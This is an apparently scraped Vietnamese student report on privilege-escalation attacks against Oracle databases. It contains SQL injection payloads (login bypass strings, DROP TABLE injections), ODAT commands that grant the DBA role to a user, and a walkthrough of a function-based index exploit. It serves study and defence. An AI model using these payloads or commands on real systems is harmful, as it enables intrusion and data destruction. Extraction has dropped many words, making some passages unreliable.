TẤN CÔNG LEO THANG ĐẶC QUYỀN ( Demo )

28 169 1
TẤN CÔNG LEO THANG ĐẶC QUYỀN ( Demo )

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT MÃ AN TỒN CƠ SỞ DỮ LIỆU ĐỀ TÀI: TÌM HIỂU VỀ TẤN CÔNG LEO THANG ĐẶC QUYỀN (PRIVILEGE ESCALATION) TRÊN ORACLE VÀ THỰC NGHIỆM Sinh viên thực : Nguyễn Hồng Lưu - AT140132 Đinh Văn Giang - AT140118 Trần Văn Dương - AT140112 Vũ Đức Toàn - AT140149 Giảng viên hướng dẫn: ThS Trần Thị Lượng Khoa An Tồn Thơng tin – Học viện Kỹ thuật Mật Mã Hà Nội, tháng 10 năm 2020 LỜI NÓI ĐẦU Cơ sở liệu ngành quan tâm nhiều khoa học máy tính nói chung cơng nghệ thồn tin nói riêng Từ có mơ hình sở liệu vào năm 60 đến nay, chặng đường dài so với ngành khoa học khác, với ngành khoa học máy tính đặc biệt sở liệu thời gian đáng kể Cơ sở liệu trải qua nhiều hệ hệ quản trị sở liệu có nhiều ứng dụng khoa học ngành kinh tế quốc dân Hệ quản trị sở liệu ORACLE hệ quản trị sở liệu lưu trữ thơng tin an tồn chắn đồng thới lại truy cập xác, dễ dàng Cơ sở liệu (CSDL) tổ chức, doanh nghiệp mục tiêu nhiều công Bởi nơi lưu trữ thông tin khách hàng nhiều liệu bí mật khác Một nguyên nhân khiến cho CSDL dễ bị tổn thương công tổ chức, doanh nghiệp chưa có biện pháp bảo vệ đầy đủ cho tài nguyên Khi kẻ xấu truy nhập vào liệu nhạy cảm, thực tất công việc để gây mát tài phá hoại danh tiếng tổ chức, doanh nghiệp Và sau nhóm em xin trình bày đề tài công vào sở liệu ORACLE Do hạn chế nhiều thời gian, kiến thức kinh nghiệm thực tế nên đề tài nhóm khơng tránh khỏi thiếu sót khuyết điểm Nhóm thực đề tài mong nhận đánh giá, nhận xét Cơ góp ý bạn sinh viên để giúp đề tài hồn thiện hơn, từ nhóm chúng em rút kinh nghiệm nghiên cứu công việc sau Nhóm chúng em xin chân thành cảm ơn! MỤC LỤC LỜI NÓI ĐẦU CHƯƠNG TỔNG QUAN VỀ LEO THANG ĐẶC QUYỀN 1.1 Giới thiệu công leo thang đặc quyền 1.2 Các dạng leo thang đặc quyền 1.2.1 Leo thang đặc quyền dọc 1.2.2 Leo thang đặc quyền ngang 1.3 Các biện pháp bảo vệ hệ thống giảm thiểu leo thang đặc quyền CHƯƠNG LEO THANG ĐỘC QUYỀN TRONG ORACLE 2.1 Giới thiệu Oracle 2.1.1 Kiến trúc oracle 2.1.2 Quản trị Oracle 11 2.2 Một số kỹ thuật công leo thang đặc quyền oracle 14 2.2.1 SQL Injection 14 2.2.2 Leo thang đặc quyền với Oracle Indexes 20 2.2.3 Tấn công chèn mã PL/SQL 20 2.2.4 Sử dụng công cụ Odat 22 2.3.4 Tấn công rookit oracle 23 CHƯƠNG THỰC NGHIỆM 25 3.1.Leo thang đặc quyền với Oracle Indexes 25 KẾT LUẬN VÀ HƯỚNG PHÁT TRIỂN 27 TÀI LIỆU THAM KHẢO 28 CHƯƠNG 1.1 TỔNG QUAN VỀ LEO THANG ĐẶC QUYỀN Giới thiệu công leo thang đặc quyền (Escalating Privilege) Về có định nghĩa thêm nhiều quyền cho phép tài khoản người dùng thêm quyền, leo thang đặc quyền làm cho tài khoản người dùng có quyền tài khoản quản trị Nói chung, tài khoản quản trị viên có yêu cầu mật nghiêm ngặt hơn, mật họ bảo vệ chặt chẽ Nếu khơng thể tìm thấy tên người dùng mật tài khoản với quyền quản trị viên, hacker chọn sử dụng tài khoản với quyền thấp Tại trường hợp này, hacker sau phải leo thang đặc quyền để có nhiều quyền quyền quản trị Cái thực cách nắm lấy quyền truy cập cách sử dụng tài khoản người dùng quản trị viên Thường cách thu thập tên người dùng mật thông qua bước trung gian để gia tăng đặc quyền tài khoản với mức độ quản trị viên Một hacker có tài khoản người dùng hợp lệ mật khẩu, bước để thực thi ứng dụng nói chung hacker cần phải có tài khoản có quyền truy cập cấp quản trị viên để cài đặt chương trình Đó lý leo thang đặc quyền quan trọng Một hacker truy cập tài khoản với quyền quản trị, điều cần làm thực thi ứng dụng hệ thống đích Mục tiêu việc thực thi ứng dụng cài đặt cửa sau hệ thống, cài đặt keylogger để thu thập thơng tin bí mật, chép tập tin, gây thiệt hại cho hệ thống, điều hacker muốn làm hệ thống Lúc này, hacker thực thi ứng dụng, họ chiếm tồn quyền hệ thống hệ thống 1.2 Các dạng leo thang đặc quyền Kẻ công bắt đầu cách khai thác lỗ hổng leo thang đặc quyền hệ thống ứng dụng mục tiêu, cho phép chúng ghi đè giới hạn tài khoản người dùng Sau đó, họ truy cập chức liệu người dùng khác (leo thang đặc quyền theo chiều ngang) có đặc quyền nâng cao, thường quản trị viên hệ thống người dùng quyền lực khác (leo thang đặc quyền dọc) Sự leo thang đặc quyền thường bước thực để chuẩn bị cho cơng 1.2.1 Leo thang đặc quyền dọc Leo thang đặc quyền dọc (Vertical privilege escalation): gọi độ cao đặc quyền, người dùng ứng dụng đặc quyền thấp truy cập vào chức nội dung dành cho người dùng ứng dụng có đặc quyền cao (ví dụ: người dùng Internet Banking có chức quản trị hệ thống sửa đổi sở liệu) Với đặc quyền nâng cao này, kẻ cơng phá hủy tất tài ngun hệ thống máy tính ứng dụng bạn: đánh cắp thông tin truy cập thông tin nhạy cảm khác, tải xuống thực thi phần mềm độc hại, xóa liệu thực thi mã tùy ý Tệ nữa, kẻ cơng sử dụng đặc quyền nâng cao để che dấu vết chúng cách xóa nhật ký truy cập chứng khác hoạt động chúng Điều có khả khiến nạn nhân khơng biết cơng xảy Bằng cách đó, tội phạm mạng ngấm ngầm đánh cắp thơng tin cài đặt phần mềm độc hại trực tiếp hệ thống Một số ví dụ leo thang đặc quyền dọc: Trong số trường hợp, ứng dụng đặc quyền cao giả định cung cấp với đầu vào khớp vớp đặc tả giao diện Kẻ cơng khai thác giả định để chạy mã trái phép với đặc quyền ứng dụng: Buffer Overflow: chất công tràn đệm gửi nhiều thông tin cho biến ứng dụng, gây lỗi ứng dụng Một lỗ hổng tràn đệm sử dụng để thực thi mã tùy ý với đặc quyền nâng lên Administrator Cross Zone Scripting: kiểu công leo thang đặc quyền trang web thay đổi mơ hình bảo mật trình duyệt web, cho phép chạy mã độc máy khách Một ứng dụng thực thi dịng lệnh Command line shell có lỗ hổng Shell Ịnection sử dụng đầu vào khơng có giá trị giống phần lệnh thực thi, kẻ cơng sau chạy lệnh hệ thống đặc quyền ứng dụng iOS jaibreaking: leo thang đặc quyền thiết bị Apple với mục đich xóa bỏ hạn chế phần mềm Apple áp đặt lên có hệ điều hành iOS, iPadOS, tvOS watchOS Jailbreak cho phép truy cập root hệ điều hành di động Apple, cho phép cài đặt phần mềm không Apple chấp thuận, tùy chỉnh chỉnh sửa giao diện người dùng Root (Android): trình cho phép người dùng điện thoại thơng minh, máy tính bảng hay thiết bị sử dụng hệ điều hành android để đạt quyền truy cập root Vì android sử dụng nhân linux, việc root thiết bị Android cho phép truy cập tương tự quyền quản trị linux hệ điều hành giốn Unix (FreeBSD, macOS) Root cung cấp quyền thay đổi thay ứng dụng cài đặt hệ thống, ứng dụng chuyên dụng yêu cầu quyền cấp quản trị viên hoạt động khác mà người dùng Android không thê truy cập Rootkit: loại chương trình thường sử dụng để che dấu tiện ích hệ thống bị xâm nhập Rootkit bao gồm gọi back doors, giúp cho kẻ cơng truy cập vào hệ thống dễ dàng lần sau Ví dụ, rootkit ẩn ứng dụng, ứng dụng sinh lệnh kết nối vào cổng mạng cụ thể hệ thống Back door cho phép trình bắt đầu người khơng có đặc qun, dùng để thực chức thường dành cho quản trị viên 1.2.2 Leo thang đặc quyền ngang Leo thang đặc quyền ngang (Horizontal privilege escalation): kẻ công mở rộng đặc quyền họ cách chiếm tài khoản khác lạm dụng đặc quyền hợp pháp cấp cho người dùng khác Giả sử kẻ cơng có quyền truy cập vào tài khoản ngân hàng trực tuyến Cơ tìm cách ăn cắp tiền số tiền cô bị đánh cắp từ tài khoản không đủ Cô thăm dị thơng tin thử nhiều cách khai thác khác để có quyền truy cập vào tài khoản khác Đây gọi leo thang đặc quyền theo chiều ngang kẻ cơng di chuyển theo chiều ngang qua tài khoản có đặc quyền tương tự Làm để cô di chuyển ngang? Kẻ công kiểm tra siêu liên kết mà ngân hàng trả sau cô đăng nhập để xem liệu chúng có tiết lộ thông tin cách tổ chức nội dung trang web ngân hàng hay khơng Cơ phát ngân hàng mã hóa số tài khoản khách hàng theo cách cụ thể siêu liên kết Cô soạn đưa siêu liên kết đến trang web để kiểm tra xem hệ thống ngân hàng có bảo mật khơng lỗ hổng có cho phép xem liệu tài khoản khách hàng khác hay (tốt hơn) để chuyển tiền Nếu thành cơng, truy cập vào số tài khoản trước ngân hàng phát hoạt động cô khách hàng báo cáo có hành vi trộm cắp Đây gọi kỹ thuật tham chiếu đối tượng trực tiếp Một số nguy leo thang đặc quyền ngang:  Có thể dự đốn session ID HTTP cookie người dùng  Session fixation  Cross-site scripting  Mật dễ đoán  Trộm cắp chiếm quyền điều khiển  Keystroke logging 1.3 Các biện pháp bảo vệ hệ thống giảm thiểu leo thang đặc quyền Những kẻ công sử dụng nhiều kĩ thuật leo thang đặc quyền để đạt mục tiêu họ Nhưng để cố gắng leo thang đặc quyền bước đầu tiên, họ thường cần có quyền truy cập vào tài khoản người dùng đặc quyền Điều có nghĩa tài khoản người dùng thơng thường cần bảo vệ đầu tiên, cần thực biện pháp để kiểm soát truy cập:  Thực thi sách mật khẩu: mật cần phải đủ mạnh thay đổi mật thường xuyên để bảo mật, không gây bất tiện cho người dùng  Tạo người dùng nhóm chuyên biệt với quyền truy cập quyền truy cập tệp tối thiểu cần thiết: áp dụng quy tắc quyền tối thiều cần thiết để giảm thiểu rủi ro tài khoản người dùng bị xâm phạm Các ứng dụng cung cấp điểm vào dễ dàng cho công nào, điều quan trọng giữ an tồn cho chúng:  Tránh lỗi lập trình phổ biến ứng dụng bạn: tránh lỗi lập trình phổ biến thường bị kẻ cơng nhắm tới tràn dệm, code injection đầu vào người dùng không xác thực  Bảo mật sở liệu lọc đầu vào người dùng: hệ thống sở liệu thường mục tiêu cơng nhiều ứng dụng web frameworks lưu trữ tất liệu chúng sở liệu bao gồm cài đặt cấu hình, thơng tin đăng nhập liệu người dùng Chỉ với công SQL injection, kẻ cơng có quyền truy cập vào tất thông tin sử dụng công Không phải tất công leo thang đặc quyền nhắm trực tiếp vào tài khoản người dùng, đặc quyền quản trị viên có cách khai thác lỗi ứng dụng hệ điều hành hay lỗi cấu hình Để giảm thiểu:  Giữ cho hệ thống ứng dụng vá cập nhật: Nhiều công khai thác lỗi biết, ta cần giữ cập nhật để hạn chế công  Đảm bảo quyền xác cho tất tệp thư mục: tài khoản người dùng, tệp thư mục cần tuân theo quy tắc quyền tối thiểu, có khơng cần ghi giữ chế độ đọc  Đóng cổng khơng cần thiết xóa tài khoản người dùng khơng sử dụng: cấu hình hệ thống mặc định thường bao gồm dịch vụ không cần thiết chạy cổng mở cổng lỗ hổng tiềm Bạn xóa đổi tên tài khoản người dùng mặc định để tránh kẻ công bắt đầu dễ dàng  Xóa hạn chế tất các chức truyền tệp: kẻ công thường cần cách để tài xuống tập lệnh khai thác mã độc, xem kĩ tất cơng cụ, tiện ích hệ thống cho phép truyền tập FTP, wget, curl Xóa cơng cụ bạn khơng cần khóa cơng cụ cịn lại, hạn chế sử dụng chúng cho thư mục, người dùng ứng dụng cụ thể  Thay đổi thông tin đăng nhập mặc định tất thiết bị bao gồm định tuyến máy in: cần định tuyến có mật mặc định quản trị viên hay máy in mạng có cổng telnet mở cung cấp cho kẻ công chỗ đứng CHƯƠNG 2.1 LEO THANG ĐỘC QUYỀN TRONG ORACLE Giới thiệu Oracle Trong trình quản lý việc xử lý thơng tin vấn đề phức tạp lượng thơng tin nhận ngày lớn thường xuyên Ngày có nhiều chương trình ứng dụng giúp ta quản lý lưu trự thông tin dễ dàng Trong kể đến Oracle, chương trình ứng dụng, có chế bảo mật liệu chặt chẽ giúp cho hệ thống hoạt động tốt an toàn việc cập nhật truy cập liệu, tránh việc mát liệu, dễ dàng bảo trì nâng cấp, có chế quyền hạn rõ ràng sử dụng nhiều tổ chức lớn ngân hàng, phủ…Nó khơng có lợi cho nhà phát triển dễ cài đặt, dễ triển khai, dễ nâng cấp lên phiên mà thuật lợi cho lập trình viên viết Trigger, Package Oracle cịn tích hợp thêm PL/SQL ngơn ngữ lập trình có cấu trúc ( Structure Language) điểm mạnh Oracle so với sở liệu khác Ngồi Oracle cịn tương tác tốt với nhiều hệ điều hành Windows , Linux Oracle giải pháp cung cấp công ty Oracle Đây hệ quản trị CSDL có tính bảo mật cao, hỗ trợ tốt mơ hình truy cập liệu tập trung phân tán Giải pháp Oracle bao gồm sản phẩm sau: Hệ quản trị CSDL Oracle Database cài đặt máy chủ Database Server Oracle Client cài đặt máy trạm cho phép ứng dụng máy trạm truy cập thao tác với ứng dụng máy chủ Công cụ cho việc thiết kế quản trị CSDL Oracle Designer, SQL Plus PL/SQL ngôn ngữ thủ tục cho Oracle dùng để xây dựng đối tượng Oracle Database 2.1.1 Kiến trúc oracle Oracle xây dựng kiến trúc gồm:  Kiến trúc nhớ (memory structure)  Kiến trúc process (process structure)  Kiến trúc lưu trữ (storage structure) Trong nhớ process tạo thành instance, phần lưu trữ database Instance: Bao gồm cấu trúc memory background process (tiến trình ngầm - nền) Cấu trúc memory gồm phần : System Global Area (SGA): Nhóm cấu trúc nhớ chia sẻ, chứa liệu điều khiển thong tin cho Oracle instance 10  Đặc quyền đối tượng: quyền thực thao tác cụ thể lên schema object cụ Ví dụ quyền thêm, xóa, sửa hàng liệu khỏi bảng  Đặc quyền hệ thống: quyền thực tác vụ sở liệu cụ thể quyền thực loại hành động tất đối tượng schema hệ thống Ví dụ: quyền ALTER SYSTEM, quyền CREATE TABLE, quyền DELETE ANY TABLE Trong Oracle có tài khoản quản trị xác định sẵn:Mặc định sau cài đặt Oracle Database ta có Database Administrator (DBA) SYS, SYSTEM, DBSNMP,…  SYS: Có đầy đủ quyền quyền cấp lệnh cho User khác (ADMIN OPTION) Có thể startup, shutdown maintenance Database Sở hữu Data Dictionary Automatic Workload Repository (AWR)  SYSTEM: Có quyền DBA, MGMT_USER roles AQ_ADMINISTRATOR_ROLE  DBSNMP: Có role OEM_MONITOR  SYSMAN: Có quyền MGMT_USER, RESOURCE roles SELECT_CATALOG_ROLE 2.2 Một số kỹ thuật công leo thang đặc quyền oracle 2.2.1 SQL Injection - Không kiểm tra ký tự thoát truy vấn Đây dạng lỗi SQL injection xảy thiếu đoạn mã kiểm tra liệu đầu vào câu truy vấn SQL Kết người dùng cuối thực số truy vấn không mong muốn sở liệu ứng dụng Ví dụ: Dùng đoạn mã sau để minh họa lỗi statement = "SELECT * FROM users WHERE name = '" + userName + "';" Câu lệnh thiết kế để trả ghi tên người dùng cụ thể từ bảng người dùng Tuy nhiên, biến useName nhập xác theo cách người dùng ác ý, trở thành câu truy vấn SQL với mục đích khác hẳn so với mục đích tác giả đoạn mã Ví dụ biến useName thành sau: a' or 't'='t 14 Khiến câu truy vấn hiểu sau: SELECT * FROM users WHERE name = 'a' OR 't'='t'; Nếu đoạn mã sử dụng thủ tục xác thực ví dụ sử dụng để bắt buộc lựa chọn tên người dùng hợp lệ 't'='t' Trong hầu hết SQL server cho phép thực nhiều truy vấn lúc với lần gọi, nhiên số SQL API mysql_query php lại khơng cho phép điều lý bảo mật Điều ngăn cản tin tặc công cách sử dụng câu lệnh riêng rẽ mà không ngăn cản tin tặc thay đổi từ cú pháp truy vấn Các giá trị biến "userName" câu truy vấn gây việc xoá người dùng từ bảng người dùng tương tự việc xóa tất liệu từ bảng liệu (về chất tiết lộ thông tin người dùng), ví dụ minh họa API cho phép thực nhiều truy vấn lúc: a';DROP TABLE users; SELECT * FROM data WHERE 't' = 't Điều đưa tới cú pháp cuối câu truy vấn sau: SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM DATA WHERE 't' = 't'; - Xử lý không kiểu Lỗi SQL injection dạng thường xảy lập trình viên hay người dùng định nghĩa đầu vào liệu không rõ ràng thiếu bước kiểm tra lọc kiểu liệu đầu vào Điều xảy trường số sử dụng truy vấn SQL lập trình viên lại thiếu bước kiểm tra liệu đầu vào để xác minh kiểu liệu mà người dùng nhập vào có phải số hay khơng Ví dụ: statement:= "SELECT * FROM data WHERE id = " + a_variable + ";" Ta nhận thấy cách rõ ràng ý định tác giả đoạn mã nhập vào số tương ứng với trường id - trường số Tuy nhiên, người dùng cuối, thay nhập vào số, họ nhập vào chuỗi ký tự, trở thành câu truy vấn SQL hoàn chỉnh mà bỏ qua ký tự Ví dụ, ta thiết lập giá trị biến a_variable là: 1;DROP TABLE users 15 Khi đó, thực thao tác xóa người dùng có id tương ứng khỏi sở liệu, câu truy vấn hồn chỉnh hiểu là: SELECT * FROM DATA WHERE id=1;DROP TABLE users; - Blind SQL Injection Lỗi SQL injection dạng dạng lỗi tồn ứng dụng web hậu chúng lại không hiển thị trực quan cho kẻ cơng Nó gây sai khác hiển thị nội dung trang chứa lỗi bảo mật này, hậu cơng SQL injection dạng khiến cho lập trình viên hay người dùng phải nhiều thời gian để phục hồi xác bit liệu Những kẻ cơng cịn sử dụng số cơng cụ để dị tìm lỗi dạng công với thông tin thiết lập sẵn - Thay đổi giá trị kiểu truy vấn Dạng lỗi khiến kẻ cơng thay đổi giá trị điều kiện câu lệnh truy vấn, làm sai lập hiển thị ứng dụng lỗi SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd' AND 1=1; Sẽ hiển thị cách bình thường khi: SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd' AND 1=2; Sẽ hiển thị nội dung khác, không hiển thị ứng dụng web có chứa lỗi SQL injection dạng Lỗ hổng dạng cho phép tin tặc không gây ảnh hưởng tới bảng hay liệu mà ảnh hưởng tới liệu hay bảng khác phụ thuộc vào nội dung liệu hay bảng - Điều kiện lỗi Lỗi SQL injection dạng dẫn tới việc buộc sở liệu phép đánh giá mà giá trị câu lệnh WHERE Ví dụ: SELECT 1/0 FROM users WHERE username='Ralph'; Phép chia cho đánh giá lỗi mà người dùng có tên "Ralph" tồn sở liệu - Thời gian trễ Lỗi SQL injection dạng tồn thời gian xử lý hay nhiều truy vấn SQL phụ thuộc vào liệu logic nhập vào trình xử lý truy vấn 16 SQL engine cần nhiều thời gian Tin tặc sử dụng lỗi SQL injection dạng để xác định thời gian xác mà trang cần tải giá trị nhập vào Một số dạng công thường gặp với ứng dụng Web - Dạng công vượt qua kiểm tra lúc đăng nhập Với dạng cơng này, tin tặc dễ dàng vượt qua trang đăng nhập nhờ vào lỗi dùng câu lệnh SQL thao tác sở liệu ứng dụng web Thông thường phép người dùng truy cập vào trang web bảo mật, hệ thống thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông tin tên đăng nhập mật Sau người dùng nhập thông tin vào, hệ thống kiểm tra tên đăng nhập mật có hợp lệ hay khơng để định cho phép hay từ chối thực tiếp Ví dụ: Trong trường hợp sử dụng ASP, người ta dùng trang: trang HTML để hiển thị Form nhập liệu trang ASP để xử lý thơng tin nhập vào từ phía người dùng sau: Trang nhập liệu: login.html Username: Password: Trang xử lý nhập liệu: execlogin.asp Chỗ sơ hở đoạn mã xử lý nhập liệu nằm chỗ liệu nhập vào từ người dùng dùng để xây dựng trực tiếp câu lệnh SQL Chính điều cho phép tin tặc điều khiển câu truy vấn thực Ví dụ, người dùng nhập chuỗi ngoặc sau vào ô nhập liệu username/password trang login.htm là:('OR=') Lúc này, câu truy vấn gọi thực là: SELECT * FROM T_USERS WHERE USR_NAME =''OR''='' AND USR_PASSWORD= ''OR''='' Câu truy vấn hợp lệ trả tất ghi T_USERS đoạn mã xử lí người dùng đăng nhập bất hợp pháp người dùng đăng nhập hợp lệ Dạng công sử dụng câu lệnh SELECT Dạng công phức tạp Để thực kiểu cơng này, kẻ cơng phải có khả hiểu lợi dụng sơ hở thơng báo lỗi từ hệ thống để dị tìm điểm yếu khởi đầu cho việc cơng Ví dụ, trang tìm kiếm Các trang cho phép người dùng nhập vào thơng tin tìm kiếm Họ, Tên, … Đoạn mã thường gặp là: Tương tự trên, tin tặc lợi dụng sơ hở câu truy vấn SQL để nhập vào trường tên tác giả chuỗi giá trị: 18 Lúc này, câu truy vấn đầu khơng thành cơng, chương trình thực thêm lệnh sau từ khóa UNION Giả sử đoạn mã nhập vào là: Câu truy vấn thực việc xóa bảng Dạng cơng sử dụng câu lệnh INSERT Thông thường ứng dụng web cho phép người dùng đăng kí tài khoản để tham gia Chức thiếu sau đăng kí thành cơng, người dùng xem hiệu chỉnh thơng tin SQL injection dùng hệ thống khơng kiểm tra tính hợp lệ thơng tin nhập vào Ví dụ: Một câu lệnh insert có dạng Nếu đoạn mã xây dựng câu lệnh SQL có dạng: Thì chắn có lỗi SQL ta nhập vào câu lệnh thứ ví dụ như: Lúc câu truy vấn là: Khi đó, lúc thực lệnh xem thơng tin, xem bạn yêu cầu thực thêm lệnh là: 19 2.2.2 Leo thang đặc quyền với Oracle Indexes Index database object tạo table với mục đích tăng tốc tốc độ truy xuất liệu Với ý nghĩa mục lục sách, index tạo nhiều column Khi index lưu giữ giá trị column đó, với rowId( địa vật lý disk) tường row liệu Nhờ truy vấn lượng data nhỏ, Oracle lấy ngày liệu nhờ việc truy xuất vị trí row liệu disk, thay phải dị tồn bảng để tìm liệu.Trong Oracle, để tạo Index bảng, người dùng phải sở hữu bảng có đặc quyền hệ thống CREATE ANY INDEX Nếu người dùng có đặc quyền này, lỗ hổng bảo mật mở ra, theo họ thực thi SQL tùy ý chủ sở hữu bảng cách tạo functionbased index bảng Nếu bảng question sở hữu người dùng có đặc quyền cao SYS SYSTEM máy chủ sở liệu bị lộ nguy hiểm cung cấp cho kẻ cơng khả thỏa hiệp hồn tồn hệ thống 2.2.3 Tấn cơng chèn mã PL/SQL Bạn sử dụng phương pháp khác để nâng cao đặc quyền Oracle từ tràn đệm DLL patching đến công chuyên biệt chống lại sở liệunhư PL/SQL Injection.Không giống hệ quản trị SQL Server, nơi kẻ công thể thể tiêm ‘xp_cmdshell’ gần sau ‘SELECT’ cách đóng dấu ngoặc kép, Oracle DB từ chối thẳng thừng thủ thuật Do ta xem xét sử dụng tiêm PL/SQL, sửa đổi quy trình thực thủ tục hàm (function, trigger, đối tượng khác) cách nhúng lệnh ngẫu nhiên vào tham số đầu vào có sẵn Người cơng tìm thấy lỗ hổng tiêm PL/SQL, họ tiêm mã PL/SQL để tăng đặc quyền bắt đầu lệnh hệ điều hành máy chủ sở liệu Sử dụng PL/SQL injection, người công leo thang đặc quyền từ tài khoản Public tới tài khoản đặc quyền mức DBA Kỹ thuật xuất tất phiên Oracle dùng để cơng procedure khách hàng Oracle Có thể inject vào câu lệnh insert, select, delete, update procedure, package, vào anonymous PL/SQL Blook 20 Để nhúng tải trọng (payload), tìm function tham số đầu vào không lọc Do Oracle không cho phép truy vấn đa câu lệnh nên bạn cần sử dụng số thủ tục “đặc biệt” có tính Ý tưởng đằng sau công sau:Theo mặc định, trừ có quy định khác, thủ tục thực thay mặt chủ sở hữu khơng thay mặt người dùng bắt đầu Nói khác, thủ tục thuộc sở hữu tài khoản SYS có sẵn để thực thi bạn nhúng mã vào nó, tải trọng bạn thực ngữ cảnh tài khoản SYS Như đề cập,đây điều ln xảy có thủ tục với tham số ‘authid current_user’, có nghĩa thủ tục thực thi với đặc quyền người dùng Tuy nhiên,thường phiên ban tìm số chức dễ bị tổn thương tiêm PL/SQL Hãy xem xét quy trình PL / SQL sau với SQL động: Hình 2.3 Khai thác PL/SQL Giả sử chủ sở hữu thủ tục SYS cấp quyền thực thi cho SCOTT người dùng bình thường Hình 2.4 Khai thác PL/SQL Thực bình thường: Hình 2.5 Khai thác PL/SQL 21 Ví dụ sau minh họa cách SQL injection cho phép truy xuất liệu trái phép: Hình 2.6 Khai thác PL/SQL Chúng ta thấy cách lập trình khơng xác trở thành điểm khởi đầu cho công vào sở liệu Chỉ sử dụng quyền tối thiểu (THỦ TỤC THỰC HIỆN) đặc quyền (TẠO PHIÊN BẢN), lấy mã băm mật SYS Từ cho hội sử dụng để giải mã mật SYS 2.2.4 Sử dụng công cụ Odat Odat (Oracle Database Attacking Tool) công cụ kiểm tra thâm nhập mã nguồn mở kiểm tra tính bảo mật cở liệu Oralce từ xa (áp dụng cho Oracle 10g, 11g, 12c) Một số ví dụ sử dụng Odat: Bạn có tài khoản Oralce hợp lệ để kết nối với sở liệu muốn leo thang đặc quyền để trở thành DBA SYSDBA Bạn có tài khoản Oracle bạn muốn thực thi lệnh hệ thống (ví dụ: reverse shell– loại shell mà mục tiêu giao tiếp ngược lại với kẻ công) để chiếm quyền hệ điều hành lưu trữ sở liệu Sử dụng all module module sử dụng bạn gặp sở liệu Oracle Bạn sử dụng lệnh để bắt đầu: Bạn cung cấp SID bạn biết: /odat.py all -s 192.168.1.254 -p 1521 /odat.py all -s 192.168.1.254 -p 1521 -d ORCL Nếu bạn biết tài khoản hợp lệ, bạn sử dụng module sau : /odat.py all -s 192.168.1.254 -p 1521 -d ORCL -U SYS -P password Để trở thành DBA với đặc quyền hệ thống ta sử dụng module privesc Odat Module privesc có quyền truy cập đặc quyền (ví dụ DBA) cách sử 22 dụng kết hợp đặc quyền hệ thống sau đây:  CREATE ANY PROCEDURE (cho phép người dùng tạo thủ tục, hàm gói PL/SQL người dùng sở hữu sở liệu)  CREATE PROCEDURE (Cho phép người dùng tạo thủ tục, hàm gói PL SQL người dùng sở hữu) EXECUTE ANY PROCEDURE (Cho phép người dùng thực thủ tục, hàm gói PL / SQL sở liệu)  CREATE ANY TRIGER (và CREATE PROCEDURE)  ANALYZE ANY (và CREATE PROCEDURE)  CREATE ANY INDEX (Cho phép người dùng tạo mục bảng chế độ xem cụ thể hóa sở liệu) (và CREATE PROCEDURE) Với module privesc, bạn gán quyền DBA cho người dùng Oracle sử dụng module Một ví dụ sử dụng đặc quyền CREATE/ EXCUTE ANY PROCEDURE: /odat.py privesc -s $SERVER -d $ID -U $USER -P $PASSWORD dba-with-create any-trigger Ngồi ra, thực truy vấn SQL dạng SYS theo cách thủ công Dưới ví dụ sử dụng đặc quyền CREATE/ EXCUTE ANY PROCEDURE: /odat.py privesc -s $SERVER -d $ID -U $USER -P $PASSWORD exec-with execute-any-procedure 'GRANT dba TO $USER' Bạn thu hồi vai trò DBA sử dụng lệnh sau: /odat.py privesc -s $SERVER -d $ID -U $USER -P $PASSWORD revoke-dba-role Lệnh –get-detailed-privs sử dụng để có đặc quyền vai trị hệ thống gán cho người dùng Oracle chạy module này: /odat.py privesc -s $SERVER -d $ID -U $USER -P $PASSWORD get-privs 2.3.4 Tấn công rookit oracle Rootkit loại mã độc thiết kế để che giấu không mà cịn che giấu thành phần liên quan khác như: tiến trình, tệp, người dùng, nhật ký, mạng, cửa hậu (Backdoor) Rootkit tập chương 23 trình, đoạn mã cho phép tồn cách bền vững, lâu dài, khó phát máy tính Đặc điểm Rootkit khác với virus khơng có khả nhân bản, khơng tự lây nhiễm, cần chiếm quyền cao hệ thống (quyền root) để thực Tuy nhiên, Rootkit khó phát có khả ẩn Khi nắm quyền cao nhất, người dùng có thực thao tác thêm, sửa, xóa…trong sở liệu làm hành động mà người quản trị người dùng khác không phát hiệnđược họ không sử dụng phần mềm dò quét rootkit 24 CHƯƠNG THỰC NGHIỆM 3.1.Leo thang đặc quyền với Oracle Indexes Để tăng tốc độ truy vấn tập liệu lớn, hầu hết máy chủ sở liệu cho phép lập mục liệu bảng Trong Oracle, để tạo mục bảng, người dùng phải sở hữu bảng có đặc quyền đối tượng INDEX bảng có hệ thống TẠO BẤT KỲ CHỈ SỐ đặc quyền Nếu người dùng có hai đặc quyền này, lỗ hổng bảo mật mở ra, theo họ thực thi SQL tùy ý với tư cách chủ nhân bảng cách tạo mục dựa hàm bàn Nếu bảng đề cập thuộc sở hữu người dùng có đặc quyền cao SYS SYSTEM máy chủ sở liệu trở nên nguy hiểm cung cấp cho kẻ cơng khả thỏa hiệp hệ thống Vai trị PUBLIC (trước đây) cấp đặc quyền INDEX bảng sản phẩm tùy chọn phụ thuộc: SYS.DUAL SYS.OLAPTABLEVELS SYS.OLAPTABLEVELTUPLES SYSTEM.OLAP_SESSION_CUBES SYSTEM.OLAP_SESSION_DIMS SYSTEM.PLAN_TABLE FLOWS_FILES.WWV_FLOW_FILE_OBJECT$ TOAD.TOAD_PLAN_TABLE Bản ghi sau minh họa cách kẻ cơng tận dụng đặc quyền INDEX để thực thi SQL tùy ý Giả sử có bảng gọi FOO thuộc sở hữu SYS PUBLIC cấp Đặc quyền INDEX Người dùng có tên TSS kết nối với máy chủ sở liệu cố gắng thiết lập DBA vai trị khơng thành cơng TSS chưa cấp thành viên vai trò Người dùng TSS nhận DBA đặc quyền cách khai thác lỗ hổng INDEX TSS tạo hàm gọi GETDBO thực công việc TSS tạo mục có tên EXPLOIT_INDEX bảng SYS.FOO gọi hàm GETDBA Tiếp theo, TSS chọn từ bảng DUAL tạo mục EXPLOIT INDEX để thực thi hàm GET DBA với đặc quyền SYS Hàm GET DBA chứa SQL để CẤP vai trò DBA cho vai trị CƠNG Khi điều thực 25 hiện, người dùng TSS đặt vai trị DBA.Khi làm vậy, người dùng TSS có tồn quyền kiểm soát sở liệu SQL> connect tss/password Connected SQL> set role dba; set role dba * ERROR at line 1: 